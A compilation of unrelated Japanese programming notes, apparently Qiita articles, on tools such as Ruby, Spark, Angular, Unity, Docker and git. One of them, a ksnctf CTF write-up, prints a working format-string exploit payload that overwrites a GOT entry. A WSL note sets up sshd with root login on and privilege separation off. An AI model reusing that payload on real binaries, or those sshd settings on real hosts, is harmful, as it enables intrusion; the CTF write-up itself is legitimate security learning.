１、テスト用のgemをインストール（筆者はminitestを使用）
```
gem install minitest バージョン
```
.rb形式のファイルで以下を記入
対象のクラスに Minitest::Testを継承する
↓
assert等のテスト用のメソッドがが使えるようになる

※テスト名は必ずtestで始まる必要がある。

```
class クラス名 < Minitest::Test
  def テスト名

  end
end

```

テスト用のプログラムは本プログラムがあるファイルとは別にテスト用のファイルに
保存するのが綺麗なコードを書くポイント。
EclipseとMySQLの連携方法について

#環境情報
・windows 10　Pro

・pleiades-4.7.3-java-win-64bit-jre_20180411（Eclipse）
・mysql-8.0.11-winx64-debug-test（MySQL）
(2018/05/15)

#EclipseとMySQLのダウンロードについて
本稿では、EclipseとMySQLについては既にダウンロード＆初期設定終えているものとして進めていきます。

#MySQL側で確認すること
1.rootユーザーのパスワードを控えておきましょう。（後で使います。）
2.MySQLが起動してあるか確認しましょう。以下の手順で確認してみて下さい。


・[Windowsキー]+[ｘキー]でなんかバって出てきます（Win10のショートカット機能）

・コンピュータの管理
・サービスとアプリケーション
・サービス
の順で押すとなんかいっぱい出てくるので、その中から「MySQL80」を探してください。
見つけたら状態見て「実行」ならおｋ。
そうでなければ実行状態にしといてください。（デフォなら起動時に実行になってるはず）

#Eclipse側の設定
・パースペクティブをDBViewerに変更

![2018-05-14.png](https://qiita-image-store.s3.amazonaws.com/0/256278/15969267-4e64-1b1a-2c03-1a9ff7579e19.png)

・DBViewerPlugin→登録

・データベース名→MySQL

・JDBCドライバーにはMySQLをダウンロードしたときについてきた
「mysql-connector-java-8.0.11.jar」を指定します。
※C:\Program Files (x86)\MySQL\Connector J 8.0とかにあるはず。
→ファイルの追加から探してみてください

![2018-05-14 (4).png](https://qiita-image-store.s3.amazonaws.com/0/256278/362c2112-2cd3-4b5f-6c37-c348ca3cda42.png)

・次へをクリック

・データベース定義を以下のように設定
JDBC Driver(J):com.mysql.jdbc.Driver
JDBC タイプ(D):Type4
接続文字列(S) jdbc:mysql://localhost:3306?characterEncoding=UTF-8&serverTimezone=JST
接続ユーザ(U):root
接続パスワード(P):MySQL初期設定時に決めたパスワード

![2018-05-14 (5).png](https://qiita-image-store.s3.amazonaws.com/0/256278/127774d4-cc4c-3da2-6807-48b701be5ca8.png)


・入力出来たら→完了

・MySQLで右クリック

・→接続

・黄色い人間みたいなアイコン出てきたら成功。
![2018-05-14 (7).png](https://qiita-image-store.s3.amazonaws.com/0/256278/98f28e96-9d64-6e32-1659-100a8bb0c745.png)



おつかれさまでした。使い方については、後日やるかも...？（備忘録兼ねて）
CakePHP3マイグレーション時にテーブルコメント、カラムコメントを追加する

以下の書き方でいける

```php
$table = $this->table('table_name', ['comment', 'テーブルの説明']);
$table->addColumn('name', 'string', [
    'default' => '',
    'limit' => 255,
    'null' => false,
    'comment' => 'カラムの説明'
]);
```

ドキュメントの運用とか面倒なので、このようにテーブル、カラムコメントで運用してくとやりやすそう。

ちなみに、SQLでコメントを確認すると時は以下のやり方がある。

```sql
> show table status like 'table_name';
```

```sql
show full columns from table_name;
```

(参考) https://qiita.com/snaka/items/28c636214099f3b99c18

もしくは、これ。

```sql
> SHOW CREATE TABLE table_name;
```
CakePHP3マイグレーションでnull許容したく無い時の書き方

何も値が指定されていなかった場合にちゃんとエラーを出したい。

公式にも書いてある書き方だが、これでいける。

```php
$table->addColumn('description', 'text', [
            'default' => null,
            'limit' => null,
            'null' => false,
        ]);
```

これでdescriptionカラムに値を指定せずにinsertしようとするとエラーになる。
[Unity / Mac] テクスチャなどのリソースファイルがどのアセットで参照されているかを調べる方法

Unityでテクスチャなどのリソースを整理する時、
「あれ、このリソースはどこで使っているんだっけ？」という場面になったことがありませんか？

リソースファイルを参照しているアセットを探す方法として、[ReferenceViewer](https://github.com/anchan828/ReferenceViewer)などのUnityのEditor拡張機能を使う方法がありますが、Unityのアセットファイルのフォーマットがテキスト形式であれば、リソースファイルに割り当てられているGUIDで検索することができます。

それでは、Unixコマンドを使って任意のリソースファイルがどこで参照されているかどうかを調べる方法を紹介します。

# 環境

* macOS
* Unity

UnityのProject Settings > Editor Settingsにて、Asset Serialization及びVersion Controlの設定が以下のようになっている必要があります。

|設定|Mode選択|
|---|---|
|Asset Serialization|**`Force Text`**|
|Version Control|**`Visible Meta Files`**|

# リソースファイルの参照を調べる

Unityのディレクトリ上に移動します。

まず、**`grep`**コマンドを使って、調べたいリソースファイルのmetaファイルからGUIDを取得します。（サンプルコードでは、「Legacy_Image.png」に割り当てられているGUIDを取得します。）

> metaファイル内でリソースファイルを識別するGUIDは、
>
>```yaml
>   guild: 62c9d723197f473dac76c4454a8a964f
>```
>
>のように表されます。

```bash
# Unityのプロジェクトのディレクトリ内

$ grep -E 'guid:\s([0-9a-f]*)' ./Assets/Resources/Texture/Legacy_Image.png.meta
```

次に**`find`**コマンドで、`./Assets`以下のファイル名を取得します。
さらに**`grep`**コマンドを使って、先ほど取得したリソースファイルのGUID情報を指定し、それを参照しているアセットファイル名を表示します。

```bash
# Unityのプロジェクトのディレクトリ内

$ find ./Assets -type f -print0 | xargs -0 grep -wl 'guid:\s${GUID}'
```

リソースファイル名を引数にとって、参照しているアセットファイル名を出力するシェルスクリプトを作成するのも手です。

```bash
#!/bin/bash

# resource_finder.sh

GUID=grep -E 'guid:\s([0-9a-f]*)' $1.meta | sed 's/guid: //g'
find ./Assets -type f -print0 | xargs -0 grep -wl 'guid:\s${GUID}'
```

```bash
$ bash resource_finder.sh ./Assets/Resources/Texture/Legacy_Image.png
```
SparkでsaveAsBinaryFileする

# この記事の内容

**2018/06/17追記**
SparkのAPIに則った、[正しいやり方の記事](https://qiita.com/dark-space/items/28fc1d0f166343987456)を書きましたので、
このタイトルの目的のためには、基本的にはそちらを参照して下さい。
この記事は、mapPartitionsWithIndexの使い方例としてはご利用いただけます。

SparkでPartitionごとのデータを書き出すのに、
`saveAsTextFile`はあるのに、`saveAsBinaryFile`はありません。
`saveAsObjectFile`はありますが、これはHadoop用のSequenceFile形式になってしまいます。
バイナリの情報をそのまま書き出すAPIがなさそうなので、その方法を探していました。
やりたいことができたので記事にします。

# Javaのコード
直近で必要になりそうなのがJavaなので、とりあえずJavaのコードだけです。
今後ScalaやPythonでも書くかも。

```Java:SaveBinary.java
import org.apache.spark.SparkConf;
import org.apache.spark.api.java.JavaSparkContext;
import org.apache.spark.api.java.JavaRDD;
import org.apache.spark.api.java.function.Function2;

import java.io.*;
import java.util.*;

public class SaveBinary {
    public static void main(String[] args) {
        JavaSparkContext sc = new JavaSparkContext(new SparkConf().setAppName("TestSpark"));
        // 画像ファイルを読み込んでbyte[]のRDDを作成
        JavaRDD<byte[]> bytes = sc.binaryFiles("someImages/*").values().map(x -> x.toArray());
        saveAsBinaryFile(bytes, "out");
    }

    // 受け入れるRDDは byte[] だけ
    private static void saveAsBinaryFile(JavaRDD<byte[]> bytes, String path) {

        // 匿名クラスで、mapPartitionsWithIndexの中身を実装
        Function2 writeBinary = new Function2<Integer, Iterator<byte[]>, Iterator<byte[]>>() {
            @Override
            public Iterator<byte[]> call(Integer idx, Iterator<byte[]> iterator) throws Exception {
                // 出力ファイル名はHDFS出力風だが、実際はNFSに出力
                FileOutputStream fos = new FileOutputStream(path + "/part-" + String.format("%05d", idx));
                while (iterator.hasNext()) {
                    fos.write(iterator.next());
                }
                fos.close();
                return iterator;
            }
        };

        // mapPartitionsWithIndexで、partition毎の操作を行う
        bytes.mapPartitionsWithIndex(writeBinary, false).count();
    }
}
```

# 解説
`mapPartitionsWithIndex`は、RDD内の各パーティション毎に操作を行います。
また名前の通り、パーティション毎に番号がふられるので、それで別ファイル名として保存しています。

`mapPartitionsWithIndex`に渡す処理内容は`Function2`クラスとして実装します。
RDDの中身がパーティション毎にIteratorに入ってくるので、それを使って目的の処理を実装します。
上記のように匿名クラスとして実装した方が見通しがいいかな、と思います。

`mapPartitionsWithIndex`自体は、RDDを返すメソッドですが、
今回は`saveAsBinaryFile`の戻り値をvoidにしていますし、`mapPartitionsWithIndex`の出力は一切気にしていません。
しかし、`mapPartitionsWithIndex`の後の`count`は重要です。
`mapPartitionsWithIndex`は遅延処理されるので、その後アクションがなければ実行されません。
現に上記コードでは`count`を忘れると何も出力されません。（それで結構ハマった…）

# 補足
この`mapPartitionsWithIndex`を使ってバイナリを書き出す方法ですが、このヒントは`saveAsTextFile`にありました。
`saveAsTextFile`の[実装を見てみる](https://github.com/apache/spark/blob/master/core/src/main/scala/org/apache/spark/rdd/RDD.scala)と、中で`mapPartitions`が使われています。
`mapPartitions`も`mapPartitionsWithIndex`もほぼ同様の処理だと思いますので、
この方法で実装した`saveAsBinaryFile`は、`saveAsTextFile`とほぼ同等の性能で動くと思います。

# 参考
[StackOverflow: Apache Spark mapPartitionsWithIndex](https://stackoverflow.com/questions/26466289/apache-spark-mappartitionswithindex)
Angular CLI のバージョンを 1.7.3 から 6.0.1 にあげるときにつまずいた 3 点

# バージョンアップ
- Angular CLI で作成したプロジェクトの Angular CLI をバージョンアップした
- 手順は [こちら](https://lacolaco.hatenablog.com/entry/2018/04/09/070000) をトレースした

### バージョンアップ & マイグレーションコマンド

```
$ cd target-project/
$ yarn add --dev @angular/cli@^6.0.1
$ ng update @angular/cli --migrate-only --from=1.7.3
```

# 発生した問題

## 1. ビルドが通らない
- `yarn build` を実行

```
$ yarn build
chunk {0} runtime.6afe30102d8fe7337431.js (runtime) 1.05 kB [entry] [rendered]
chunk {1} styles.e2ee1f7e974858d37595.css (styles) 45.3 kB [initial] [rendered]
chunk {2} polyfills.3a2cc09f9515a07bf722.js (polyfills) 59.1 kB [initial] [rendered]
chunk {3} main.555dba2cd512935e98e5.js (main) 490 kB [initial] [rendered]
Error: Expected to find an ngsw-config.json configuration file in the /Users/kasaharu/target-project folder. Either provide one or disable Service Worker in your angular.json configuration file.
Error: Error: Expected to find an ngsw-config.json configuration file in the /Users/kasaharu/target-project folder. Either provide one or disable Service Worker in your angular.json configuration file.
```

- どうやら Service Worker の config ファイルが見つからなくなったらしい
- [同じ悩み](https://github.com/angular/angular/issues/23692) を発見
- 下記の変更を入れることで解決

```diff
diff --git a/angular.json b/angular.json
index be4dab5..04bf825 100644
--- a/angular.json
+++ b/angular.json
@@ -42,7 +42,7 @@
               "vendorChunk": false,
               "buildOptimizer": true,
               "serviceWorker": true,
-              "ngswConfigPath": "/src/ngsw-config.json",
+              "ngswConfigPath": "src/ngsw-config.json",
               "fileReplacements": [
                 {
                   "replace": "src/environments/environment.ts",
```

## 2. テストが失敗する

- src/assets/styles/_mixin.scss を用意している
- stylePreprocessorOptions オプションを使って `"includePaths":["src/assets/styles"]` を指定している

```
$ yarn test
ERROR in ./src/app/app.component.scss
Module build failed:
@import 'mixin';
^
      File to import not found or unreadable: mixin.
      in /Users/kasaharu/target-project/src/app/app.component.scss (line 1, column 1)
 @ ./src/app/app.component.ts 18:21-52
 @ ./src/app/app.component.spec.ts
 @ ./src sync \.spec\.ts$
 @ ./src/test.ts
```

- なぜか _mixin.scss の場所がわからなくなっている…
- やむおえず、相対パスでファイルを import することで解決

## 3. テストの 1 回実行ができない

- `--single-run` オプションがない

```
$ yarn test --single-run
Unknown option: '--singleRun'
```

:eyes:
- [Wiki](https://github.com/angular/angular-cli/wiki/test) を見ると `--watch=false` オプションだけになったらしい…ので `--watch=false` に変更

# 最後に
- `yarn start --open` で無事起動を確認


# 参考リンク
- [Angular CLI v1.7からv6.0へのマイグレーションについて (for v6.0.0-rc.2)](https://lacolaco.hatenablog.com/entry/2018/04/09/070000)
- [Angular Issue](https://github.com/angular/angular/issues/23692)
- [Angular CLI Wiki](https://github.com/angular/angular-cli/wiki/test)
3D座標の重心を計算する > FeeCADのmacroでやってみたい

(元ネタ)3D座標の重心を計算する > Python operator:面倒 | Numpy array:簡単
https://qiita.com/7of9/items/37716cc80f8bc01efa27

```fullscript.py
import FreeCAD
import Part
import DraftTools
import Draft
import Mesh
def myTriangle(In_P1x,In_P1y,In_P1z,In_P2x,In_P2y,In_P2z,In_P3x,In_P3y,In_P3z,myLabel):
        P1x,P1y,P1z,P2x,P2y,P2z,P3x,P3y,P3z = float(In_P1x),float(In_P1y),float(In_P1z),float(In_P2x),float(In_P2y),float(In_P2z),float(In_P3x),float(In_P3y),float(In_P3z)
        planarMesh =[
                     [P1x,P1y,P1z],
                     [P2x,P2y,P2z],
                     [P3x,P3y,P3z]
                    ]
        planarMeshObject = Mesh.Mesh(planarMesh)
        Mesh.show(planarMeshObject)
        FreeCAD.getDocument("Unnamed").getObject("Mesh").Label = myLabel
def myTxtXYZ(P5x,P5y,P5z,myStr):
        p5 = FreeCAD.Vector(P5x,P5y,P5z)
        myText = Draft.makeText(myStr,p5) 
        myText.Label = myStr
b =[[-42, -8,60],
    [ 43, 41,60],
    [ 21,-54,60]]
PP0x=round((float(b[0][0])+ float(b[1][0])+ float(b[2][0]))/3,8)
PP0y=round((float(b[0][1])+ float(b[1][1])+ float(b[2][1]))/3,1)
PP0z=round((float(b[0][2])+ float(b[1][2])+ float(b[2][2]))/3,1)
myWedgej='x' + str(PP0x) + ',y' + str(PP0y)+ ',z' + str(PP0z)
myTxtXYZ(PP0x,PP0y,PP0z,'myText ' + myWedgej)
myTriangle(b[0][0],b[0][1],b[0][2], b[1][0],b[1][1],b[1][2], b[2][0],b[2][1],b[2][2],'myMesh ' + myWedgej)
```
myText x7.33333333,y-7.0,z60.0
教えて下さい。
1.配列の引数のおすすめのページ
2.クラスの引数のおすすめのページ
3.CenterOfMassの使い方
(参考)体積、表面積、重心を求める
https://open-shelf.appspot.com/FreeCAD/3.html
よろしくお願いします。
sftp を使わずにファイル転送する方法(小さなファイル限定で)

ssh でログインしたサイトから sftp を使わずにファイルをコピーする方法。sftp するのがだるい時に。

# ログインした端末上で、以下のコマンドを実行。

```
base64 ファイル名
```
文字列をマウスで選択してコピー。

# ローカルの端末上で以下のコマンドを実行。(windows の場合は、cygwin などを使う)

```
base64 -d > ファイル名
```
macの場合は、base64 -D
入力待ちになっているので、先ほどコピーした文字列を貼り付けて、ctrl+D。

しょーもないですね。:p
あまり大きなファイルには向いてないですね。
ちょっとしたスクリプトや、タブを保持したいファイル、アイコンの転送に使えるかも。
[Java] enumをswitch文で分岐させる

## はじめに
enum型の変数をswitch文で分岐させたい時にハマったのでメモ。

## やろうとしたこと

こんな感じのenumがあって渡されたenum型の値をswitch文で分岐させようとした。

```HogeType.java
public enum HogeType {
  NONE(0),
  FIRST(1),
  SECOND(2)
}
```

## ダメな例

```
public void hoge(HogeType hogeType){
  switch(hogeType){
    case HogeType.FIRST:
      System.out.println("first");
      break;
    case HogeType.SECOND:
      System.out.println("second");
      break;
    default:
      System.out.println("none");
  }
}
```

この中の`case HogeType.FIRST:`の部分でエラーが出ていました。内容は`an enum switch case label must be the unqualified name of an enumeration constant`というものです。

## 正解

```
public void hoge(HogeType hogeType){
  switch(hogeType){
    case FIRST:
      System.out.println("first");
      break;
    case SECOND:
      System.out.println("second");
      break;
    default:
      System.out.println("none");
  }
}
```

調べたところenum型をswitch文の引数にとる場合は、caseに与える値を定数にしなければならないらしいです。つまり`HogeType.`という記述がいらなくなります。
ksnctf write up ~ 4 Villager A ~

ksnctf 解法メモ

## 問題

SSH: ctfq.sweetduet.info:10022
ID: q4
Pass: q60SIMpLlej9eq49

##解法

まずは問題のサーバにアクセスする。

```
ssh -p 10022 q4@ctfq.sweetduet.info
```

接続し、`ls -l`コマンドでファイルをみると、`flag.txt`, `readme.txt`, `q4`がある。
`flag.txt`は権限がなく読めないので、`q4`を実行してみる。

```
[q4@localhost ~]$ ./q4
What's your name?
yyamada
Hi, yyamada

Do you want the flag?
yes
Do you want the flag?
.
.
.

```

永遠に同じ質問をされる。
こういう入力した文字列をそのまま表示してるプログラムには、書式文字列攻撃というのが通じることがあるらしい。
特定の文字を入力すると、あるアドレスの値を好きな値に書き換えることができる。
[ここ](https://qiita.com/__k_onishi__/items/9cf7fc49107e6ff61115)がめちゃくちゃ分かりやすく解説してくれているので詳しいところは割愛。
`objdump -d -M intel ./q4`で逆アセンブリするとflagを読む命令があるが、`jmp`命令や`jne`命令に阻まれている。
putcharなどの関数を呼び出しているところ(`0x080499e0`)で、このflagを読む命令を呼び出すよう(`0x08048691`)に書き換えてやれば良い。
```
echo -e "\xe0\x99\x04\x08\xe2\x99\x04\x08%34441x%6\$hn%33139x%7\$hn" | ./q4
```
でFlagゲット。
WSLでssh localhost

```
Windowsキー -> サービス
```

SSHなんたらを二つとも切る

```
sudo cp -a ~/.ssh/id_rsa /etc/ssh/id_rsa
sudo cp -a ~/.ssh/id_rsa.pub /etc/ssh/id_rsa.pub
sudo chmod 600 id_rsa id_rsa.pub
cat /etc/ssh/id_rsa.pub | sudo tee /etc/ssh/authorized_keys
```

```:/etc/ssh/sshd_config
HostKey /etc/ssh/id_rsa
UsePrivilegeSeparation no
PermitRootLogin yes
AuthorizedKeysFile  /etc/ssh/authorized_keys
PasswordAuthentication no
```

・参考
http://fftest33.blog.fc2.com/blog-entry-121.html
GoFのデザインパターン「state」をrubyで実装してみた

Stateパターンとは、処理と状態を分離して書くことで、コードを簡潔にする手法のようなものです。

State役に状態に依存した振る舞いするメソッドを集め、Context役で現在の状態を持ちます。

以下がその簡単なサンプルコードです。

```ruby
# State役
class State
end

# ConcreteState役
class DayState < State
  def do_use
    puts '昼間に金庫が使われました。'
  end

  def do_alarm
    puts '昼間に金庫のアラームがなりました。確認してください。'
  end
end

# ConcreteState役
class NightState < State
  def do_use
    puts '夜間に金庫が使われました。確認してください。'
  end

  def do_alarm
    puts '夜間に金庫のアラームがなりました。至急確認してください。'
  end
end

# Context役
class SafeFrame   # 金庫
  attr_reader :hour

  def initialize(hour)
    @hour = hour

    if hour < 9
      @state = NightState.new
    else
      @state = DayState.new
    end
  end

  def do_use
    @state.do_use
  end

  def do_alarm
    @state.do_alarm
  end
end


s = SafeFrame.new(10)
s.do_use
s.do_alarm

n = SafeFrame.new(8)
n.do_use
n.do_alarm

# 結果
# $ruby main.rb
# 昼間に金庫が使われました。
# 昼間に金庫のアラームがなりました。確認してください。
# 夜間に金庫が使われました。確認してください。
# 夜間に金庫のアラームがなりました。至急確認してください。
```
webメルカトル投影計算（web地図タイル）

こんにちは
地図の[webメルカトル投影](https://en.wikipedia.org/wiki/Web_Mercator)計算式をまとめました（投影は、経度 $\lambda$ ⇔ $x$、緯度 $\varphi$ ⇔ $y$）。web地図タイル座標の計算でも用いられます。下記の間の変換です（真球モデル）[^1]。

[^1]: なお回転楕円体モデル（EPSG:3395）の場合は、 「[メルカトル投影計算](https://qiita.com/kkdd/items/6c94465852e1df803a68)」で扱っています。

* EPSG:4326  WGS 84 geographical
* EPSG:3857  WGS84 Web Mercator (auxiliary sphere)

### 緯度

緯度 $\varphi$ ⇔ $y$ の変換・逆変換は（$R$ は地球長半径、$\operatorname{gd} x$ は [Gudermannian function](https://en.wikipedia.org/wiki/Gudermannian_function)です）、

```math
\frac{y}{R} =  \operatorname{gd}^{-1} \varphi = \operatorname{arctanh} \left( \sin\varphi \right)　= 2 \operatorname{arctanh} \left( \tan \frac{\varphi}{2} \right)\\
\varphi = \operatorname{gd} \frac{y}{R} = \arcsin \left( \tanh \frac{y}{R} \right) = 2 \arctan \left( \tanh \frac{y}{2 R} \right)
```

```math
\operatorname{arctanh} x = \frac{1}{2} \ln \left| \frac{1+x}{1-x} \right|
```

なお [Gudermannian function](https://en.wikipedia.org/wiki/Gudermannian_function) は、上記のような [Braun投影](http://qiita.com/kkdd/items/864aa75041b77e2b4c28) （$\tan \frac{\varphi}{2}$）を経る形を含めて、様々な形で表現可能です[^2]。

[^2]: とはいえども、三角関数を２つ使用する形（例えば $\operatorname{gd}^{-1} \varphi = \ln \left| \tan \varphi + \sec \varphi \right|$ ）は計算コスト上は避けたほうが良いでしょう。 ↩


### 経度

経度 $\lambda$ ⇔ $x$ については、

```math
\lambda = \frac{x}{R}
```

#### スケール係数

EPSG:3857（真球モデル）のスケール係数は（東西EWおよび南北NS方向）、地球が回転楕円体（離心率 $e$）であることを考慮する必要があり、

```math
k_\text{EW} = \sec \varphi \ \sqrt{1-e^2 \sin^2 \varphi} \\
k_\text{NS} = \sec \varphi \ \frac{\left(1-e^2 \sin^2 \varphi\right)^\frac{3}{2}}{1-e^2} \\
\sec \varphi = \frac{1+\tan^2 \frac{\varphi}{2}}{1-\tan^2 \frac{\varphi}{2}} = \cosh \frac{y}{R} \\
\sin \varphi = \frac{2 \tan \frac{\varphi}{2}}{1+\tan^2 \frac{\varphi}{2}} = \tanh \frac{y}{R}
```

EPSG:3395（回転楕円体モデル）とは異なり、$k_\text{EW} = k_\text{NS}$ は成立しません。ただし、近似計算では、$e \simeq 0$ として計算することも多いです。

```math
k_\text{EW} \simeq  k_\text{NS} \simeq  \sec \varphi
```
Windows Container上に作ったプログラムをデプロイ途中な話

職場で運用自動化ツールをプログラムし、いざデプロイとなり仮想マシン(Hyper-V)を作成した。しかし、たった１つのプログラムにディスク20GB、メモリ1024Mはもったいないと思い、会社では誰も(?)チャレンジしたことないであろうWindows Containerに手を出してみた。

# 環境の要件
・ツールはC#（.Net Framework）で作成。
・プログラムを動かすために社内LANに入れなくてはいけない。
・指定したIPアドレスで動かさなくてはいけない。
・ホストマシンと隔離したい。

# 環境
ホストOS：Windows Server2016 Datacenter

# その他制約等
セキュリティ上の理由から、Docker for Windowsを入れることはできない。

# 使用するDocker Image
Windows Containerで[Windows公式Docker Hub](https://hub.docker.com/u/microsoft/)からPullできるBase WindowsOSはWindows Server CoreとWindows Server Nano Serverっぽい。~~Windows ContainerでPullできるRegistryが少なすぎるよ。~~
最初イキってNano Server入れたら最終的にプログラムが動かなかった。ググったら、.Net Coreしか対応していないらしい。その他、制約もいろいろあるのでWindows Server Coreを使うのが安定なイメージ。

# Windows Containerインストール
[先輩方のサイト](https://qiita.com/anikundesu/items/f6e1561b8d99c6ee6156)からWindows Containerを入れました。
あんまりここでは躓かなかった。

### ちなみに、Docker ImageのPullは以下のコマンドを叩く(10分くらい待ちます)。
```
docker pull microsoft/windowsservercore
```

# ネットワーク設定
ネットワーク設定を

```
docker network ls
```

から確認。
デフォで設定されているのはDriverが「nat」のやつ。
IPとか諸々の設定無しでいい感じにネットワークをつないでくれるらしい（WinNATがほにゃらら）。

ただ、社内LANに入れる必要性がある、且つDHCPじゃダメ。Hyper-VでいうところのExternalのvSwitchにつないでクライアントでIPアドレスを打ちたい感じ。
そんな時は、ネットワークドライバを**「transparent」**にしなきゃいけない。

# ホストOSとの隔離
Windows Containerは2種類あります。
[このサイトが詳しいです。](http://www.atmarkit.co.jp/ait/articles/1702/02/news039.html)
要は軽量・高速だけど隔離性が普通の**Windows Server コンテナ**と、
遅いけど隔離性が非常に高い**Hyper-Vコンテナ**。
今回は、他のネットワークに影響を与えない・与えられたくないので、Hyper-Vコンテナを使用。

ちなみに、起動が遅いといっても自環境で試したら起動に20~30秒程度（HDD）。

# 使ったDockerコマンド
ネットワークの設定とホストOSとの隔離を考慮し使った立ち上げコマンドが以下の通り。

```
docker run -it --network="(Hyper-Vとかで作成したExternal vSwitch名)" --isolation=hyperv microsoft/windowsservercore
```

「Hyper-Vとかで作成したExternal vSwitch名」にはdocker network lsでDRIVERがtransparentなものを選択する。

これで、PowershellとかからIPアドレスの設定をしてあげれば目標達成。

# その他
ホストOSをWindows Server2016 Datacenterにしたため、ライセンスを意識しなくてOKだったが、Standardとかの場合は考えなくてはいけない([Hyper-Vコンテナは2つまで](https://yamanxworld.blogspot.jp/2017/09/hyper-v-linux.html))。

# 気づいたこととか
どうやってWindowsのセキュリティパッチとかあてるんだ？
セキュリティソフトとか基本GUIベースだから入れられないよね。。。

セキュリティのリスクがヤバそうなので、いろいろ考えて毎回

```
docker rm [Container ID]
```

してます。使うにしても上司とかとかとの相談が必要だね。

そもそも、コンテナの使いどころってこういうところなのか？

# 参考にしたサイト
Windows Containerのインストール方法
http://blog.shibayan.jp/entry/20171107/1509988437

Windows Containerの基礎(?)知識
http://www.atmarkit.co.jp/ait/articles/1702/02/news039.html

なんだかんだでMicrosoft Docに落ち着く(Windows ContainerのNetworking)
https://docs.microsoft.com/ja-jp/virtualization/windowscontainers/manage-containers/container-networking

Transparent Networkの設定方法
https://www.ntweekly.com/2017/03/30/how-to-create-a-transparent-network-with-windows-containers/

その他、何度このサイトに救われたことか
https://yamanxworld.blogspot.jp/2017/09/hyper-v-linux.html
AWS Config Rulesでカスタムルールを試すメモ

# 手順

1.Lambdaファンクション作成

以下をコピペ。
https://github.com/awslabs/aws-config-rules/blob/master/python/vpc_flow_logs_enabled.py

2.ポリシ付与
マネコンからルール作ったら不要らしいが、必要なら付与する


> AWS Config コンソールでカスタムルールを作成すると、適切なアクセス権限が自動的に作成されます。AWS CLI でカスタムルールを作成した場合は、aws lambda add-permission コマンドを使用して、Lambda 関数を呼び出すアクセス権限を AWS Config に付与する必要があります。詳細については、「AWS Lambda でリソースベースのポリシーを使用する (Lambda 関数ポリシー)」 (AWS Lambda Developer Guide) を参照してください。

https://docs.aws.amazon.com/ja_jp/config/latest/developerguide/evaluate-config_develop-rules_nodejs.html

3.カスタムルール作成
VPCフローログのLambdaファンクションにしたので、リソースにVPC関連を記載

![customrule.png](https://qiita-image-store.s3.amazonaws.com/0/50690/81bcd549-a434-9014-8171-7bb7e0215d07.png)

正常に動作すると、準拠や非準拠と表示される
![ScreenClip.png](https://qiita-image-store.s3.amazonaws.com/0/50690/c26b513c-81e1-1efd-f883-ad9d1d8ada6d.png)

# 参考

AWS Config Rulesのカスタムルール(Lambda連携)を触ってみた #reinvent ｜ Developers.IO https://dev.classmethod.jp/cloud/aws/aws-config-custom-rules/

AWS Config のカスタムルールの作成 - AWS Config https://docs.aws.amazon.com/ja_jp/config/latest/developerguide/evaluate-config_develop-rules_nodejs.html
【GIT】非常に重たいrepositoryをcloneする方法

このところ業務でやたらと重たいリポジトリを扱うことが多いので、重たいリポジトリを `clone` して、 `remote branch` から `branch` 切ったり `commit` したり、 `push` したり、できるようにする `clone` の仕方をメモ。

いきなり全履歴を落とさず直近の履歴だけをおとし、最終的に全履歴落とす方法。

`terminal` でコマンド打ちます。

## `clone` したいカレントディレクトリに移動
以下コマンドで現在いるディレクトリを確認します。

```
pwd
```

`terminal` を立ち上げてすぐだと、だいたい以下のパスになっていると思いますが

```
/Users/{ユーザー名}
```

これを `cd` コマンドでクローンしたいフォルダに移動します

```
cd /Users/{ユーザー名}/{クローンしたいフォルダ}
```

### tips
`clone` したいフォルダの階層にすでに `clone` してできるフォルダと同じ名前のフォルダが存在しているとエラーになるので被っているフォルダ名がないか注意

## まず直近１つの履歴のみで `clone` します
```
git clone --depth 1 {リポジトリのurl}
```

* {リポジトリのurl} は適宜URLに置き換えてください
* 例) `git clone --depth 1 https://hogehoge.com/fugafuga.git`

## ひとまず `clone` ができたら次は履歴をちょっとずつ `fetch` する
`fetch` するにはそのリポジトリフォルダの中に移動します。

```
cd {クローンしたフォルダ}
```

以下コマンドでカレントがクローンしたフォルダになっているか確認

```
pwd
```

クローンしたフォルダに入っているのを確認して、以下のコマンドを実行

```
git fetch --depth 10
```

```
git fetch --depth 100
```

* 数は履歴の数。少しずつ増やして最終的には全部落としました

## 最後まで落とした時にこの表示になった
```
remote: Total 0 (delta 0), reused 0 (delta 0)
```

##　しかしこれまでだと `fetch` や他の `remote branch` に `checkout` ができないので以下のコマンドを入力
```
git config remote.origin.fetch "+refs/heads/*:refs/remotes/origin/*"
```

そのあと

```
git fetch --all
```

でリモートブランチも取得、チェックアウトでき、利用できるようになる。
割り当て可能な IP アドレス数の算出について (身内向け)

# 割り当て可能な IP アドレス数の算出について (身内向け)

質問を頂いたので回答します。

> ISPはあなたの使用のためのIPブロックを与えています。
> ブロックは192.168.112.64/29です。
> ネットワーク管理者は、彼があなたのネットワークにインストール
> されているルータの使用可能な最初のIPアドレスを
> 使用している場合、いくつの使用可能IPアドレスが
> 残っているのですか？

相変わらず日本語が難解ですが, ポイントは以下の通りです。

- ネットワークアドレスは **192.168.112.64/29**
- **既にルーターが設置されている.** つまり, IP アドレスが 1 つ割り当てられている。
- IP アドレスは, あといくつ割り当てることが出来るか?

まずは, 以下の通りに算出していくのが正攻法でしょうか。

1. **サブネットマスク** を算出する。
1. **ネットワークアドレス** と **ブロードキャストアドレス** を算出する。
1. **割り当てることが出来る IP アドレスの数** を算出する。

## **サブネットマスク** を算出する。

192.168.112.64/29 の **/29** がヒントです。

**/29** は CIDR (サイダー) 形式と言って, サブネットマスクを短く表記したものです。(と, 今は理解してください。)
CIDR の正体は **1** がいくつ並んでいるか, を示したものになります。
今回の場合, 1 が 29 個ですので, `11111111 11111111 11111111 11111` となります。

ただ, IP アドレスは 32 ビットですので, 32 桁にする必要があります。
足りない部分は 0 で補いましょう。
そのため, 最終的には `11111111 11111111 11111111 11111000` となります。

さて, これを 8 桁ずつ区切って 10 進数に直したものがサブネットマスクになります。
8 桁の場合, 左の桁から `128, 64, 32, 16, 8, 4, 2, 1` と表すことが出来ます。

`1111 1111` は `128 + 64 + 32 + 16 + 8 + 4 + 2 + 1` なので, 255 になります。
同様に, `1111 1000` は `128 + 64 + 32 + 16 + 8` なので, 248 となります。
(0 に相当する 4 と 2 と 1 は足しません。)

そのため, サブネットマスクは **255.255.255.248** となります。

## **ネットワークアドレス** と **ブロードキャストアドレス** を算出する。

IP アドレスには割り当てることが出来ないアドレスが 2 種類あります。
ホスト部が全て 0 の **ネットワークアドレス** と,
ホスト部が全て 1 の **ブロードキャストアドレス** です。

どうやって算出するかというと, サブネットマスクが 255 と 0 **でない** 部分を使います。
今回の場合は, 255.255.255. **248** の 4 つ目の部分です。第 4 オクテット, と言います。

